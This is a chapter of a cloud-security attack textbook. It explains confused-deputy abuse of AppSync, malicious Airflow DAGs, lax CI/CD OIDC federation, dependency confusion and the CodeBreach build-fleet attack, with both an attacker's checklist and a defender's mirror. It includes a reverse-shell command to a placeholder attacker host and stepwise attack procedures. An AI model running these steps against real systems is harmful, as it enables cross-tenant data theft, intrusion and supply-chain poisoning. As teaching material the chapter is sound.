Attacking Cloud Service Providers ACSP Chapter 09
Part III · Chapter 09

Serverless, Low-Code & CI/CD Pipelines

After this chapter you will be able to abuse the privileged service identities and automated runners behind serverless, low-code, and CI/CD platforms — confusing the provider's own automation to cross account boundaries and reach its build infrastructure.

~3,900 words · 4 figures

You hire a courier. You hand them a sealed package and an address, and they deliver it — no questions asked, because asking questions is not their job. Now imagine a stranger walks up and hands the same courier their package, with your return address on it. The courier still does not ask questions. They just deliver. And whoever receives the package sees only your name.

Cloud automation is that courier. A function, a workflow, a build pipeline — you hand it a job and a privileged identity, and it carries the job out without checking too hard who is really asking. This chapter is about confusing the courier: getting the cloud's own automation to do something on your behalf that it would never do if it understood who you were.

The problem

Every chapter so far attacked something the tenant runs — an instance (Ch 4), a container (Ch 6), a database (Ch 8). Chapter 9 is different. A serverless function, a managed Airflow cluster, a CI build — none of these are owned the way a VM is owned. You did not provision the host, you cannot SSH to it, you often cannot even see it. The provider operates the execution environment; you merely hand it code and a job to do.

That arrangement only works because the provider gives the automation a privileged identity: a function carries a role, a pipeline carries credentials, a build carries a token. The automation is a stand-in — a deputy — acting with real authority on the requestor's behalf. The recurring bug, across every service in this chapter, is that the check deciding whose behalf is weaker than the privilege the deputy carries. Confuse that check and the deputy will cross an account boundary, hand over another tenant's data, or run your code inside the provider's own build fleet — and the logs will record the deputy doing it, not you.

◈ Concept · The confused deputy, revisited

In Chapter 3 you met the confused deputy as a federation footgun — a trust policy naming the wrong principal. Here it scales up: the deputy is no longer a misconfigured policy but a running service with its own privileged identity. The attack is never "can I break this service?" but "can I make this service act for me as if I were someone it trusts?"

Why it matters — and how it differs from a traditional pentest

A traditional application pentest attacks the thing in front of you: you find the SSRF, the injection, the broken access control, and you exploit it directly. Attacking automation inverts that. You rarely touch the valuable target at all. You feed a small, low-privilege input — a DAG file, a pull request, a GraphQL data-source request, a published package — into a deputy, and the deputy carries your intent across a boundary you could never cross yourself.

Three things make this a provider-side surface rather than a tenant one:

Run this surface through the six-part lens from Chapter 1 and the identity-propagation facet dominates: where identity is attached (a managed identity on a sandbox, a service account on an Airflow worker, an OIDC token minted by a CI vendor) and where it is trusted without re-checking (a trust policy that says Service: appsync.amazonaws.com, a federation policy that says repo:my_org/*). Provider "magic" — "just give it a role and it works" — is unreviewed trust by another name.

Figure 9.1The chapter's threat model. Attacker-controlled inputs (amber) feed privileged deputies (blue) that reach across the tenant boundary into other tenants' data and the provider's internal services.

The methods at a glance

Four techniques recur across serverless, low-code, and CI/CD. Each is one way to confuse a deputy; the rest of the chapter breaks them down one by one.

TechniqueThe deputyHow it is confusedWhat you gain
Confused-deputy service identitiesA first-party service (AppSync, Logic Apps) holding a service principal.A trust policy delegates to the global service; the per-tenant scoping check is weak or bypassable.Cross-account API calls — read another tenant's data.
Managed workflow runnersA provider-run execution environment for tenant orchestration code (Airflow, Logic Apps).The runner imports and executes arbitrary code (a DAG is Python) and holds an over-privileged identity.Code execution on managed infrastructure → cluster, node, provider internals.
OIDC in CI/CDThe cloud role a CI pipeline assumes via a signed token.The CI vendor is the IdP, so authentication is free; a loose claim-matching policy lets a stranger's runner assume your role.Production cloud credentials from a low-value repo.
The provider's build fleetThe CI fleet that compiles the provider's own software (CodeBuild, Cloud Build).An unanchored webhook filter, a dependency-confusion package, or an over-broad build identity.Code execution inside the provider — supply-chain reach to every tenant.

Technique 1 · Confused-deputy service identities

Chapter 3 taught you what a managed identity and a service account are: an identity the cloud attaches to a workload so it can call APIs without a hard-coded key. This technique needs one more variant — and it is the variant that breaks everything.

◈ Concept · Service principal as a deputy

A service principal (appsync.amazonaws.com, cloudbuild.gserviceaccount.com) is an identity the cloud gives to one of its own services. When you write a trust policy Principal: { "Service": "appsync.amazonaws.com" } you are not trusting your AppSync — there is no "your"; AppSync is one global service — you are trusting every invocation of it, in every account on Earth. The only thing keeping a stranger's invocation out is a separate, separately-attackable account check elsewhere in the service.

The defensive countermeasure has a name worth knowing now: AWS lets you add a Conditionaws:SourceAccount or aws:SourceArn — that pins the deputy to your account or resource. GCP's equivalent is a Workload Identity Pool attribute condition; Azure's is the scoping on a federated credential. These conditions are optional and routinely omitted, so when the service's own internal account check fails, nothing is left.

How it works — the AppSync confused deputy

AWS AppSync is a managed GraphQL service. One feature lets a GraphQL API "invoke AWS APIs" directly through an HTTP data source: the developer attaches an IAM role, AppSync assumes it, and runs the call. The role's trust policy is the textbook service-principal delegation:

{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": { "Service": "appsync.amazonaws.com" },
    "Action": "sts:AssumeRole"
  }]
}

AWS did anticipate cross-account abuse: CreateDataSource validated that the supplied serviceRoleArn belonged to the caller's own account. But the API parsed JSON property names case-insensitively. Datadog's researchers found that supplying the role ARN under a mixed-case key — servicerolearn instead of serviceRoleArn — slipped past the same-account validation (which looked for the exact key) while the value was still bound downstream where AppSync assumed it. Two parsers, one strict and one loose, disagreeing about the same field: a smuggle.[1]#074

Technique steps · AppSync confused deputy (corpus #074)
  1. In your own account, create an AppSync API and an HTTP data source.
  2. Call CreateDataSource with the role ARN under a mixed-case key (servicerolearn) — bypassing the same-account validation.
  3. Point that ARN at a role in a victim account whose trust policy trusts Service: appsync.amazonaws.com — exactly the policy AppSync's own setup wizard generates.
  4. Add a resolver whose request mapping template calls dynamodb:Scan; invoke the API and read the victim's entire table.
  5. In the victim's CloudTrail the AssumeRole shows userIdentity.type: AWSService, invokedBy: appsync.amazonaws.com — the theft is logged as routine AppSync activity.
Figure 9.2The AppSync confused deputy. The attacker never touches the victim account; AppSync's service principal crosses the boundary, and CloudTrail records the theft as routine service activity.

The detection twist is worth internalising, because it recurs through Chapter 12. The victim sees no attacker account ID and no attacker IP — only AppSync, doing AppSync things. The only signals that betray it are second-order: a burst of AccessDenied events sourced from appsync.amazonaws.com (the attacker brute-forcing unknown permissions on a found role ARN), or an anomalous first-ever call by a role.

⚠ Pitfall · "It's a Microsoft app, so it's safe"

First-party trust feels safer than third-party trust — but invert it. A first-party app is a deputy you cannot deny consent to and cannot remove; its trust is maximal and permanent. A redirect or reply-URL bug in one is therefore strictly worse than the same bug in a third-party app you could un-consent.

The same disease shows up in low-code platforms, which tend to store a delegated credential so a non-technical user need not re-authenticate. A vulnerability in the first-party Microsoft application Dynamics 365 Supply Chain Visibility — pre-consented in every Entra tenant — let a malicious reply URL grant an attacker directory-read access with no consent prompt, or full tenant takeover if a Global Admin clicked it.[2]#263 The pre-trusted app is a deputy whose trust the tenant cannot withdraw, and a redirect flaw in it is a one-click tenant-takeover primitive.

Technique 2 · Managed workflow runners

The AppSync deputy was thin — a service that makes one API call. A workflow runner is a deputy that runs your orchestration code, which means it is a whole compute environment with a privileged identity.

◈ Concept · Managed workflow runner

A managed workflow runner is a provider-operated environment that runs tenant-authored orchestration code — Apache Airflow DAGs (Amazon MWAA, GCP Cloud Composer, Azure Data Factory Managed Airflow), Logic Apps, Step Functions. The point: it is a normal multi-tenant compute service in an orchestration costume. An Airflow DAG is not a config file — it is a Python file the runner executes on import, so it is a feature-abuse RCE vector, exactly like the malicious Postgres extension from Chapter 8.

How it works — code import as RCE on managed Kubernetes

Three facts make a workflow runner dangerous. It runs arbitrary tenant code. It holds a privileged identity. And it is usually deployed on managed Kubernetes you cannot see or configure — so the moment you have code execution in a runner pod, every container-escape and node-identity primitive from Chapter 6 is back in play. What is new here is only how you got the pod.

Unit 42's "Dirty DAG" research walks the whole chain against Azure Data Factory's Managed Airflow — an Azure-operated AKS cluster that imports DAG files automatically from a linked Git repo or Storage account. Craft a DAG whose top-level code opens a reverse shell:

from airflow import DAG
from airflow.operators.bash import BashOperator
from datetime import datetime

with DAG("reporting_etl", start_date=datetime(2023,1,1),
         schedule_interval="@once", catchup=True) as dag:
    BashOperator(task_id="prep",
        bash_command="bash -i >& /dev/tcp/ATTACKER/443 0>&1")

Deliver it via write access to the DAG Storage account (a leaked SAS token, the Chapter 7/8 currency) or the linked Git repo, and it runs automatically on import.[3]#110 From there the chain is pure recall: the worker pod's mounted service-account token had cluster-admin by a non-configurable default, so it escalates pod → node (a VM Scale Set instance) → IMDS and WireServer (168.63.129.16) — the same primitives from Chapters 4 and 6. The endpoint was Microsoft's internal Geneva telemetry fabric, reached with a certificate reused across every ADF Airflow deployment.

Dirty DAG attack chain across the Victim Tenant and Azure Tenant boundary in four numbered steps.
Figure 9.3The managed-workflow-runner chain: push a malicious DAG, escalate to cluster-admin, exfiltrate connected data sources, and reach Microsoft's internal Geneva fabric. Source: Unit 42 [3]#110.
⚠ Pitfall · "Single-tenant deployment, so the blast radius is one cluster"

Microsoft classified Dirty DAG low-severity, calling the impact "isolated to the researcher's cluster." That fails twice: a non-configurable cluster-admin default ships that way for everyone, and the Geneva certificate was shared across deployments. "Single-tenant" describes the compute, not the trust.

The runner's web panel is a surface too. Tenable's FlowFixation research took over Amazon MWAA by combining a session-fixation flaw (MWAA did not rotate the session cookie on login) with a structural one: MWAA panels, API Gateway, SageMaker and S3 all sit under the same parent domain amazonaws.com, which is not on the Public Suffix List — so a cookie scoped to .amazonaws.com is "same-site" to every AWS service subdomain, enabling cross-subdomain cookie-tossing. It is the same root cause as Chapter 5's shared front-ends.[4]#264 And recall SynLapse from Chapter 8 (corpus #062): the Synapse Integration Runtime is itself a managed workflow runtime, and the long-lived, broadly-scoped IR management certificate that turned a tenant compromise cross-tenant is the very same anti-pattern as Dirty DAG's reused Geneva cert.

Technique 3 · OIDC trust in CI/CD

CI/CD pipelines need to authenticate to the cloud to deploy. The old way was a long-lived access key in a secret store. The modern way is OIDC federation: the pipeline presents a short-lived signed token, the cloud exchanges it for temporary credentials. You met the mechanism in Chapter 3 — sts:AssumeRoleWithWebIdentity and GitHub Actions' "any-repo" trust policy. Here it acquires a CI-specific twist that changes everything.

◈ Concept · OIDC in CI/CD — the vendor is the IdP

In ordinary OIDC the identity provider is your IdP. In CI/CD the only party that can authoritatively identify an ephemeral runner is the CI vendor itself — so the CI vendor is the OIDC IdP (GitHub Actions tokens issue from token.actions.githubusercontent.com). The consequence: the vendor signs a token for every customer, so authentication proves only "a runner of this vendor," not "your runner." The only real control is the cloud-side rule that inspects the token's claims.

◈ Concept · Poisoned Pipeline Execution (PPE)

Poisoned Pipeline Execution is getting attacker-controlled code to run inside a CI pipeline — via a malicious pull request, a script-injectable build step, an editable build config, or a "pwn request" (a pull_request_target workflow that checks out untrusted PR code while holding the base branch's secrets). PPE is the foothold; a lax federation policy is the boundary crossing. The two compose.

How it works — PPE plus a wildcard federation policy

The cloud-side rule that inspects OIDC claims — an AWS IAM role-trust Condition, a GCP Workload Identity Pool attribute condition, an Entra federated credential — is the identity federation policy. Its misconfiguration taxonomy is short and deadly: no claim condition at all; an always-true assertion (checking that sub starts with repo, when every token from that issuer inherently does); a wildcard subject (repo:my_org/*); or accepting any aud. The simplest failure — corpus #153, your Chapter 3 warm-up — omitted the sub/repo condition entirely, letting any GitHub repository on Earth assume the role.

Unit 42's "Oh-My-DC" research composes that into something subtler. Picture two repositories in one organisation:

Technique steps · PPE + lax federation (corpus #124)
  1. Repo A is an ordinary dev repo with low privileges — but its pipeline is PPE-vulnerable (a script-injection flaw in a build step).
  2. Repo B is a critical production repo with a secure pipeline — but its cloud federation policy matches repo:my_org/*, any repo in the org.
  3. Exploit the PPE flaw in Repo A → RCE in Repo A's CI runner.
  4. From inside the runner, request its OIDC token. Its sub is repo:my_org/repo_A:ref:....
  5. Present that token to the cloud for Repo B's role. Repo B's policy asks only "does sub match repo:my_org/*?" — and it does. STS issues Repo B's production credentials.

A low-value repo's script-injection bug just became production cloud access, and Repo B's perfectly secure pipeline was never touched.[5]#124 Unit 42 found this exact loose-policy pattern in the wild against CircleCI's federation. PPE against a provider's own pipeline is not hypothetical either: corpus #269 documents multiple "pwn request" vulnerabilities in Google Cloud Data Fusion, whose GitHub Actions workflows checked out untrusted PR code with privileged context.[6]#269

Figure 9.4PPE plus lax federation. The CI vendor is drawn once wearing two hats — machine provisioner and OIDC IdP — to make the point: authentication is free for every vendor customer; only the federation policy stands between repositories.
ℹ Note · Untrusted data in a build log is code

CI agents parse "magic prefixes" out of build output — ##vso[...] in Azure Pipelines. Any line a pipeline prints beginning with ##vso[ is interpreted as an agent command, so an attacker who controls printed data (a commit message, a branch name) can redefine a pipeline variable and turn a log line into RCE. Untrusted data printed into a CI log is not data; it is code.

Technique 4 · The provider's own build fleet as supply chain

The first three techniques escalated within the cloud — confuse a deputy, cross an account boundary, reach a tenant's data. This one escalates somewhere else: into the provider's own software supply chain. The provider, like everyone, builds software with a CI fleet — and that fleet is a shared component with the largest blast radius in the book. Compromise it once and you ship malicious code to every downstream tenant: a poisoned SDK, a poisoned base image, a poisoned managed-service component.

To attack a build fleet you must first picture how one works. Each Google Cloud Build job runs on a dedicated VM with empty OAuth scopes — the VM is the security boundary. The elegant, dangerous mechanism is the fake metadata server: the control plane mints a token for the build's real service account and POSTs it to a fake metadata container that build steps share a network namespace with, so tenant code asking the standard metadata.google.internal endpoint transparently gets the per-build token. It is a spoofed IMDS the provider runs on purpose (recall Chapter 4, where a spoofed metadata endpoint was the attacker's goal). And the build identity itself is often over-privileged: that same Cloud Build analysis shows the per-build token SetToken delivers carries the broad default Cloud Build service account, so anyone able to run a build inherits a project-wide identity — escalation Google long treated as working as intended.[7]#212

◈ Concept · Dependency confusion

When a build resolves a package name it may consult two indexes: a private registry and a public one. pip install --extra-index-url tells pip to consult public PyPI in addition to the private index, and pip then picks the highest version across all indexes. Publish a public package with an internal-only name and a higher version number, and the next build pulls yours — running your code inside it.

How it works — poisoning the build from the public index

Tenable's CloudImposer research found GCP's managed Airflow, Cloud Composer, was vulnerable to dependency confusion when compiled from source. The root cause was the documentation: Google's own docs recommended installing private Python packages with pip install --extra-index-url, which opens pip to public PyPI and the highest-version-wins rule.

Technique steps · CloudImposer dependency confusion (corpus #270)
  1. Identify an internal-only Python package name a target build depends on.
  2. Publish a public PyPI package with that exact name and a higher version number.
  3. The next build resolving the name sees the public package outrank the private one and pulls yours.
  4. Your code executes inside the build — and that build was Google's own, compiling Cloud Composer.
  5. Blast radius: Cloud Composer, App Engine, Cloud Functions and internal Google servers. The fix patched the confusion and updated the documentation.

Tenable titled the writeup "Executing code on millions of Google servers with a single malicious package."[8]#270 The vulnerability was partly the advice, not just the code.

How it works — confusing the webhook gate (CodeBreach)

AWS builds its own GitHub repositories — including aws/aws-sdk-js-v3, the JavaScript SDK — with AWS CodeBuild, which holds GitHub credentials in the build environment's memory. To stop untrusted pull requests triggering a privileged build, CodeBuild offers webhook filters; the go-to is the ACTOR_ID filter, an allow-list of trusted GitHub numeric user IDs. The whole vulnerability is two missing characters: the filter is a regex, the IDs joined with |, and the patterns were not anchored with ^...$. An unanchored regex matches any string that contains the pattern:

filter (unanchored):  123456|234567|345678
trusted maintainer ID:        234567
attacker's new ID:           1234567   ← contains "234567" → MATCH
Technique steps · CodeBreach (corpus #089)
  1. Read the public CodeBuild build-results page for aws-sdk-js-v3 — recon the webhook ACTOR_ID filter and notice the regex is unanchored.
  2. Wait for the "eclipse": GitHub assigns sequential IDs (~200,000/day), so a new ID that is a superstring of a trusted maintainer's becomes registrable roughly every five days.
  3. Race the ID counter via the GitHub App manifest flow; capture the superstring ID (the researchers got 226755743) before anyone else.
  4. Open a PR — genuine bugfix on top, memory-dumping NPM dependency underneath. The unanchored filter admits it; CodeBuild runs a privileged build.
  5. The dependency dumps build-process memory, extracting the aws-sdk-js-automation GitHub PAT (repo + admin:repo_hook).
  6. Use repo to self-grant repo-admin, push to main before a weekly release → poisoned SDK ships to NPM and into the AWS Console bundle.

The blast radius is the chapter's crescendo: roughly 66% of cloud environments carry the JS SDK, and the AWS Console itself bundles it. The same unanchored-regex flaw existed in at least three other AWS repos. AWS anchored the regexes within 48 hours of the August 2025 report and added a "PR Comment Approval" build gate.[9]#089

CodeBreach attack flow: attacker exploits CodeBuild to leak a GitHub admin token, pushes malicious code to aws-sdk-js-v3, which propagates to the AWS Console and every AWS environment.
Figure 9.5CodeBreach blast radius: from a confused CodeBuild deputy to the AWS Console SDK and "every AWS environment in the world." Source: Wiz Research [9]#089.

CodeBreach is not the first of its kind. Hell's Keychain (corpus #076, met in passing in Chapter 6) chained three scattered plaintext secrets out of a PostgreSQL escape, plus an over-permissive network path from production back to the build environment, to reach IBM Cloud's central image-build pipeline — and the ability to push malicious container images into customers' databases.[10]#076 CodeBreach, CloudImposer, Hell's Keychain: three providers, three build fleets, one lesson. The fleet that builds the cloud is part of the cloud's attack surface — and Chapter 11 revisits all three as canonical "blast radius equals every tenant" vulnerabilities.

Attacker's checklist

Attacker's checklist · confusing the automation
  • Enumerate roles trusting first-party service principals. Hunt for trust policies with Principal: { "Service": "*.amazonaws.com" } and no aws:SourceAccount/SourceArn condition.
  • Test the service's own account binding. Probe for parser disagreements — case-insensitive keys, duplicate keys, alternate encodings (the AppSync servicerolearn trick).
  • Treat workflow-runner code-import as RCE. A DAG file or Logic App definition is arbitrary code; find a write path to the DAG storage account or linked repo.
  • After a runner foothold, run the Ch 6 playbook. Check for a mounted service-account token; test its scope; if cluster-admin, escape pod → node → cloud identity.
  • Probe the runner's web panel. Session not rotated on login? Parent domain not on the Public Suffix List? Cookie-tossing and session fixation are live.
  • Map CI/CD OIDC federation policies. Look for missing sub conditions, always-true assertions, wildcard subjects (repo:org/*), or any-aud acceptance.
  • Find a PPE foothold, then chain it. A script-injectable build step or a pull_request_target pwn-request in any low-value repo — then ride a wildcard federation policy into a high-value one.
  • Hunt unanchored filters. Webhook ACTOR_ID regexes — a missing ^...$ turns an allow-list into a contains-match. Read public build dashboards.
  • Look for dependency confusion. Any build using pip --extra-index-url or unscoped npm; publish the internal name publicly with a higher version.
  • Remember the build SA is over-privileged. If you can create a build, you can usually assume the build service account's broad default identity.

Defender's mirror

Defender's mirror · scoping the deputy
  • Scope every service-principal trust. Add aws:SourceAccount/aws:SourceArn (or the GCP attribute condition / Entra federated-credential scoping). Treat a bare Service: principal as a finding.
  • Pin OIDC federation to an exact subject. Match sub to a specific repo and ref/environment; require the expected aud. No wildcards, no "starts-with."
  • Anchor every filter regex. Wrap webhook and branch-filter patterns in ^...$; prefer exact-match list semantics over regex entirely.
  • Gate untrusted PRs. Require maintainer approval before a fork PR can trigger a privileged build; never use pull_request_target to check out untrusted head code.
  • Scope down build service accounts. Replace over-broad default build SAs with least-privilege, per-pipeline identities.
  • Kill --extra-index-url. Use a single private index that mirrors public packages, or pin to hashes. Audit your own documentation for the bad advice.
  • Re-scope managed-runner defaults. Do not let a managed Airflow worker run as cluster-admin; never share one long-lived certificate across deployments.
  • Detect what the deputy hides. Service-attributed events cannot show the real caller — so alert on second-order signals: bursts of AccessDenied from a service principal, anomalous first-ever API calls by a role.
  • Submit shared domains to the Public Suffix List and rotate session cookies on login — structural fixes for cookie-tossing.
◆ Key takeaways
  • Automation is a deputy. A function, a workflow runner, a CI build, a build fleet — each is lent a privileged identity and trusted to act on your behalf. A deputy you can confuse is a privilege-escalation primitive with a service ARN attached.
  • A service-principal trust is global. Principal: { Service: X } trusts every invocation of service X in every account. The per-tenant scoping lives in a separate check — and that separate check is what you attack.
  • A managed workflow runner is multi-tenant compute in an orchestration costume. A DAG file is arbitrary code; the runner often runs as cluster-admin on managed K8s — so a foothold reduces to the Chapter 6 escape playbook.
  • In CI/CD OIDC, authentication is free. The vendor is the IdP, so every vendor customer holds a validly-signed token. Only the cloud-side claim-matching federation policy distinguishes your repos from a stranger's.
  • The provider's build fleet has the largest blast radius in the book. Confuse it once — an unanchored regex, a dependency-confusion package — and you ship code to every downstream tenant.
  • Confused-deputy attacks are logged as the deputy. The detection surface is second-order: anomalous first-use, and bursts of access-denied from a service principal.

References

  1. Datadog Security Labs, "Cross-tenant resource access via the confused deputy problem in AWS AppSync". Archived: local copy · Original: securitylabs.datadoghq.com. Corpus #074.
  2. Arnau Ortega / FalconForce, "Arbitrary 1-click Azure tenant takeover via a Microsoft application". Archived: local copy · Original: falconforce.nl. Corpus #263.
  3. Unit 42 (Palo Alto Networks), "Dirty DAG: vulnerabilities in the Azure Data Factory Apache Airflow integration". Archived: local copy · Original: unit42.paloaltonetworks.com. Corpus #110.
  4. Liv Matan / Tenable, "FlowFixation: AWS Apache Airflow service takeover vulnerability and why neglecting guardrails puts customers at risk". Archived: local copy · Original: tenable.com. Corpus #264.
  5. Aviad Hahami / Unit 42 (Palo Alto Networks), "Oh-My-DC: OIDC misconfigurations in CI/CD enabling cloud resource access". Archived: local copy · Original: unit42.paloaltonetworks.com. Corpus #124.
  6. "Google Cloud Data Fusion GitHub Actions vulnerabilities". Archived: local copy · Original: cloudvulndb.org; Google VRP report M3Pjk25Sn. Corpus #269.
  7. "Google Cloud Build internals: a security analysis". Archived: local copy · Original: irsl.medium.com. Corpus #212.
  8. Tenable, "CloudImposer: executing code on millions of Google servers with a single malicious package". Archived: local copy · Original: tenable.com. Corpus #270.
  9. Wiz Research, "CodeBreach: infiltrating the AWS Console supply chain and hijacking GitHub repositories". Archived: local copy · Original: wiz.io. Corpus #089.
  10. Wiz Research, "Hell's Keychain: the cloud has an isolation problem — PostgreSQL vulnerabilities in IBM Cloud Databases". Archived: local copy · Original: wiz.io. Corpus #076.